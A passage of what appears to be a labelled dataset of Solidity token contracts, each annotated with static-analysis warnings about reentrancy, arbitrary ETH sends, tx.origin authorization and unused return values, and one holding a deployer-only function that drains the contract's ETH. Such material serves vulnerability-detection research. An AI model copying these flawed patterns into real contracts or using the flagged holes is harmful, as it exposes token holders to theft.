'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9be0a29: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 444f07b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 444f07b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != address(this) && to != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniswapV2Pair && swapEnabled) {\n if (contractTokenBalance > 0)\n\t\t\t\t\t// reentrancy-events | ID: 9be0a29\n\t\t\t\t\t// reentrancy-eth | ID: 444f07b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: 9be0a29\n\t\t\t\t// reentrancy-eth | ID: 444f07b\n sendETHToFee(address(this).balance);\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 444f07b\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 9be0a29\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 444f07b\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 444f07b\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 9be0a29\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9be0a29\n\t\t// reentrancy-events | ID: bd1b913\n\t\t// reentrancy-benign | ID: 307cd90\n\t\t// reentrancy-eth | ID: 444f07b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: ed7b069): VVF.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for ed7b069: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 9be0a29\n\t\t// reentrancy-events | ID: bd1b913\n\t\t// reentrancy-eth | ID: 444f07b\n\t\t// arbitrary-send-eth | ID: ed7b069\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c10b781): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c10b781: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ac9dc96): VVF.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for ac9dc96: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1644027): VVF.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 1644027: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b12f876): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b12f876: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: c10b781\n\t\t// reentrancy-eth | ID: b12f876\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: c10b781\n\t\t// unused-return | ID: 1644027\n\t\t// reentrancy-eth | ID: b12f876\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: c10b781\n\t\t// unused-return | ID: ac9dc96\n\t\t// reentrancy-eth | ID: b12f876\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: c10b781\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: b12f876\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 53a0a43): VVF.withdrawStuckEth(address)._wallet lacks a zerocheck on \t _taxWallet = _wallet\n\t// Recommendation for 53a0a43: Check that the address is not zero.\n function withdrawStuckEth(address payable _wallet) external {\n require(msg.sender == deployer);\n\t\t// missing-zero-check | ID: 53a0a43\n _taxWallet = _wallet;\n\n payable(msg.sender).transfer(address(this).balance);\n }\n}\n",
"file_name": "solidity_code_10694.sol",
"size_bytes": 18596,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this;\n\n return msg.data;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 2561f26\n\t\t\t// reentrancy-eth | ID: 778e2b3\n _balances[from] = fromBalance - amount;\n\n\t\t\t// reentrancy-eth | ID: 2561f26\n\t\t\t// reentrancy-eth | ID: 778e2b3\n _balances[to] += amount;\n }\n\n\t\t// reentrancy-events | ID: c3a8f9b\n\t\t// reentrancy-events | ID: 479ddb6\n emit Transfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() external virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n return account.code.length > 0;\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n 0,\n \"Address: low-level call failed\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n value,\n \"Address: low-level call with value failed\"\n );\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(\n address(this).balance >= value,\n \"Address: insufficient balance for call\"\n );\n\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data\n ) internal view returns (bytes memory) {\n return\n functionStaticCall(\n target,\n data,\n \"Address: low-level static call failed\"\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionDelegateCall(\n target,\n data,\n \"Address: low-level delegate call failed\"\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n require(isContract(target), \"Address: call to non-contract\");\n }\n\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(\n bytes memory returndata,\n string memory errorMessage\n ) private pure {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n\nlibrary SafeERC20 {\n using Address for address;\n\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transfer.selector, to, value)\n );\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transferFrom.selector, from, to, value)\n );\n }\n\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n bytes memory returndata = address(token).functionCall(\n data,\n \"SafeERC20: low-level call failed\"\n );\n\n if (returndata.length > 0) {\n require(\n abi.decode(returndata, (bool)),\n \"SafeERC20: ERC20 operation did not succeed\"\n );\n }\n }\n\n function safeApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.approve.selector, spender, value)\n );\n }\n}\n\ninterface ILpPair {\n function sync() external;\n}\n\ninterface IDexRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ninterface IDexFactory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ncontract Token is ERC20, Ownable {\n mapping(address => bool) public exemptFromFees;\n\n mapping(address => bool) public exemptFromLimits;\n\n bool public tradingAllowed;\n\n mapping(address => bool) public isAMMPair;\n\n address public marketingAddress;\n\n address public devAddress;\n\n Taxes public buyTax;\n\n Taxes public sellTax;\n\n TokensForTax public tokensForTax;\n\n mapping(address => uint256) private _holderLastTransferBlock;\n\n\t// WARNING Optimization Issue (constable-states | ID: a45f4ef): Token.antiMevEnabled should be constant \n\t// Recommendation for a45f4ef: Add the 'constant' attribute to state variables that never change.\n bool public antiMevEnabled = false;\n\n bool public limited = true;\n\n uint256 public swapTokensAtAmt;\n\n uint256 public lastSwapBackBlock;\n\n address public immutable lpPair;\n\n IDexRouter public immutable dexRouter;\n\n address public immutable WETH;\n\n TxLimits public txLimits;\n\n uint64 public constant FEE_DIVISOR = 10000;\n\n uint256 public launchBlock;\n\n bool public transferDelayEnabled = false;\n\n mapping(address => bool) private bots;\n\n struct TxLimits {\n uint128 transactionLimit;\n uint128 walletLimit;\n }\n\n struct Taxes {\n uint64 marketingTax;\n uint64 devTax;\n uint64 liquidityTax;\n uint64 totalTax;\n }\n\n struct TokensForTax {\n uint80 tokensForMarketing;\n uint80 tokensForLiquidity;\n uint80 tokensForDev;\n bool gasSaver;\n }\n\n event UpdatedTransactionLimit(uint newMax);\n\n event UpdatedWalletLimit(uint newMax);\n\n event SetExemptFromFees(address _address, bool _isExempt);\n\n event SetExemptFromLimits(address _address, bool _isExempt);\n\n event RemovedLimits();\n\n event UpdatedBuyTax(uint newAmt);\n\n event UpdatedSellTax(uint newAmt);\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 2f29890): Token.constructor()._v2Router is a local variable never initialized\n\t// Recommendation for 2f29890: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n constructor() ERC20(\"Gatsby\", \"GATSBY\") {\n _mint(msg.sender, 10 * (10 ** 10) * (10 ** 18));\n\n address _v2Router;\n\n if (block.chainid == 1) {\n _v2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n } else if (block.chainid == 5) {\n _v2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n } else if (block.chainid == 97) {\n _v2Router = 0xD99D1c33F9fC3444f8101754aBC46c52416550D1;\n } else if (block.chainid == 42161) {\n _v2Router = 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506;\n } else if (block.chainid == 8453) {\n _v2Router = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24;\n } else {\n revert(\"Chain not configured\");\n }\n\n dexRouter = IDexRouter(_v2Router);\n\n txLimits.transactionLimit = uint128((totalSupply() * 10) / 1000);\n\n txLimits.walletLimit = uint128((totalSupply() * 10) / 1000);\n\n swapTokensAtAmt = (totalSupply() * 1000) / 100000;\n\n marketingAddress = msg.sender;\n\n devAddress = msg.sender;\n\n buyTax.marketingTax = 3000;\n\n buyTax.liquidityTax = 0;\n\n buyTax.devTax = 0;\n\n buyTax.totalTax =\n buyTax.marketingTax +\n buyTax.liquidityTax +\n buyTax.devTax;\n\n sellTax.marketingTax = 3000;\n\n sellTax.liquidityTax = 0;\n\n sellTax.devTax = 0;\n\n sellTax.totalTax =\n sellTax.marketingTax +\n sellTax.liquidityTax +\n sellTax.devTax;\n\n tokensForTax.gasSaver = true;\n\n WETH = dexRouter.WETH();\n\n lpPair = IDexFactory(dexRouter.factory()).createPair(\n address(this),\n WETH\n );\n\n isAMMPair[lpPair] = true;\n\n exemptFromLimits[lpPair] = true;\n\n exemptFromLimits[msg.sender] = true;\n\n exemptFromLimits[address(this)] = true;\n\n exemptFromFees[msg.sender] = true;\n\n exemptFromFees[address(this)] = true;\n\n exemptFromFees[address(dexRouter)] = true;\n\n _approve(address(this), address(dexRouter), type(uint256).max);\n\n _approve(address(msg.sender), address(dexRouter), totalSupply());\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c3a8f9b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c3a8f9b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: de06359): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for de06359: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 778e2b3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 778e2b3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n if (!exemptFromFees[from] && !exemptFromFees[to]) {\n require(!bots[from] && !bots[to], \"Bot\");\n\n require(tradingAllowed, \"Trading not active\");\n\n\t\t\t// reentrancy-events | ID: c3a8f9b\n\t\t\t// reentrancy-benign | ID: de06359\n\t\t\t// reentrancy-eth | ID: 778e2b3\n amount -= handleTax(from, to, amount);\n\n\t\t\t// reentrancy-benign | ID: de06359\n checkLimits(from, to, amount);\n }\n\n\t\t// reentrancy-events | ID: c3a8f9b\n\t\t// reentrancy-eth | ID: 778e2b3\n super._transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 9df720a): Token.checkLimits(address,address,uint256) uses tx.origin for authorization require(bool,string)(tx.origin == to,no buying to external wallets yet)\n\t// Recommendation for 9df720a: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 5fa7027): Token.checkLimits(address,address,uint256) uses tx.origin for authorization require(bool,string)(_holderLastTransferBlock[tx.origin] + 30 < block.number,Transfer Delay)\n\t// Recommendation for 5fa7027: Do not use 'tx.origin' for authorization.\n function checkLimits(address from, address to, uint256 amount) internal {\n if (limited) {\n bool exFromLimitsTo = exemptFromLimits[to];\n\n uint256 balanceOfTo = balanceOf(to);\n\n TxLimits memory _txLimits = txLimits;\n\n if (isAMMPair[from] && !exFromLimitsTo) {\n require(amount <= _txLimits.transactionLimit, \"Max Txn\");\n\n require(\n amount + balanceOfTo <= _txLimits.walletLimit,\n \"Max Wallet\"\n );\n } else if (isAMMPair[to] && !exemptFromLimits[from]) {\n require(amount <= _txLimits.transactionLimit, \"Max Txn\");\n } else if (!exFromLimitsTo) {\n require(\n amount + balanceOfTo <= _txLimits.walletLimit,\n \"Max Wallet\"\n );\n }\n\n if (transferDelayEnabled) {\n if (to != address(dexRouter) && to != address(lpPair)) {\n\t\t\t\t\t// tx-origin | ID: 5fa7027\n require(\n _holderLastTransferBlock[tx.origin] + 30 < block.number,\n \"Transfer Delay\"\n );\n\n\t\t\t\t\t// reentrancy-benign | ID: de06359\n _holderLastTransferBlock[to] = block.number;\n\n\t\t\t\t\t// reentrancy-benign | ID: de06359\n _holderLastTransferBlock[tx.origin] = block.number;\n\n if (from == address(lpPair)) {\n\t\t\t\t\t\t// tx-origin | ID: 9df720a\n require(\n tx.origin == to,\n \"no buying to external wallets yet\"\n );\n }\n }\n }\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 479ddb6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 479ddb6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 362564b): Token.handleTax(address,address,uint256) uses a dangerous strict equality launchBlock == block.number\n\t// Recommendation for 362564b: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2561f26): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2561f26: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: d36e7d7): Token.handleTax(address,address,uint256).taxes is a local variable never initialized\n\t// Recommendation for d36e7d7: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function handleTax(\n address from,\n address to,\n uint256 amount\n ) internal returns (uint256) {\n if (\n balanceOf(address(this)) >= swapTokensAtAmt &&\n !isAMMPair[from] &&\n lastSwapBackBlock + 2 <= block.number\n\t\t\t// reentrancy-events | ID: 479ddb6\n\t\t\t// reentrancy-eth | ID: 2561f26\n ) {\n convertTaxes();\n }\n\n uint128 tax = 0;\n\n Taxes memory taxes;\n\n if (isAMMPair[to]) {\n taxes = sellTax;\n } else if (isAMMPair[from]) {\n taxes = buyTax;\n }\n\n if (taxes.totalTax > 0) {\n TokensForTax memory tokensForTaxUpdate = tokensForTax;\n\n\t\t\t// incorrect-equality | ID: 362564b\n if (launchBlock == block.number) {\n if (isAMMPair[from]) {\n tax = uint128((amount * 1000) / FEE_DIVISOR);\n } else if (isAMMPair[to]) {\n tax = uint128((amount * 5000) / FEE_DIVISOR);\n }\n } else {\n tax = uint128((amount * taxes.totalTax) / FEE_DIVISOR);\n }\n\n tokensForTaxUpdate.tokensForLiquidity += uint80(\n (tax * taxes.liquidityTax) / taxes.totalTax / 1e9\n );\n\n tokensForTaxUpdate.tokensForMarketing += uint80(\n (tax * taxes.marketingTax) / taxes.totalTax / 1e9\n );\n\n tokensForTaxUpdate.tokensForDev += uint80(\n (tax * taxes.devTax) / taxes.totalTax / 1e9\n );\n\n\t\t\t// reentrancy-eth | ID: 2561f26\n tokensForTax = tokensForTaxUpdate;\n\n\t\t\t// reentrancy-events | ID: 479ddb6\n\t\t\t// reentrancy-eth | ID: 2561f26\n super._transfer(from, address(this), tax);\n }\n\n return tax;\n }\n\n function swapTokensForETH(uint256 tokenAmt) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = WETH;\n\n\t\t// reentrancy-events | ID: c3a8f9b\n\t\t// reentrancy-events | ID: 479ddb6\n\t\t// reentrancy-benign | ID: de06359\n\t\t// reentrancy-benign | ID: 4218eaf\n\t\t// reentrancy-eth | ID: bbfc1cc\n\t\t// reentrancy-eth | ID: 2561f26\n\t\t// reentrancy-eth | ID: 778e2b3\n dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmt,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4218eaf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4218eaf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bbfc1cc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bbfc1cc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: c82b8ae): Unprotected call to a function sending Ether to an arbitrary address.\n\t// Recommendation for c82b8ae: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function convertTaxes() private {\n uint256 contractBalance = balanceOf(address(this));\n\n TokensForTax memory tokensForTaxMem = tokensForTax;\n\n uint256 totalTokensToSwap = tokensForTaxMem.tokensForLiquidity +\n tokensForTaxMem.tokensForMarketing +\n tokensForTaxMem.tokensForDev;\n\n if (contractBalance == 0 || totalTokensToSwap == 0) {\n return;\n }\n\n if (contractBalance > swapTokensAtAmt * 10) {\n contractBalance = swapTokensAtAmt * 10;\n }\n\n if (tokensForTaxMem.tokensForLiquidity > 0) {\n uint256 liquidityTokens = (contractBalance *\n tokensForTaxMem.tokensForLiquidity) / totalTokensToSwap;\n\n super._transfer(address(this), lpPair, liquidityTokens);\n\n\t\t\t// reentrancy-events | ID: c3a8f9b\n\t\t\t// reentrancy-events | ID: 479ddb6\n\t\t\t// reentrancy-benign | ID: de06359\n\t\t\t// reentrancy-benign | ID: 4218eaf\n\t\t\t// reentrancy-eth | ID: bbfc1cc\n\t\t\t// reentrancy-eth | ID: 2561f26\n\t\t\t// reentrancy-eth | ID: 778e2b3\n try ILpPair(lpPair).sync() {} catch {}\n\n contractBalance -= liquidityTokens;\n\n totalTokensToSwap -= tokensForTaxMem.tokensForLiquidity;\n }\n\n if (contractBalance > 0) {\n\t\t\t// reentrancy-benign | ID: 4218eaf\n\t\t\t// reentrancy-eth | ID: bbfc1cc\n swapTokensForETH(contractBalance);\n\n uint256 ethBalance = address(this).balance;\n\n bool success;\n\n if 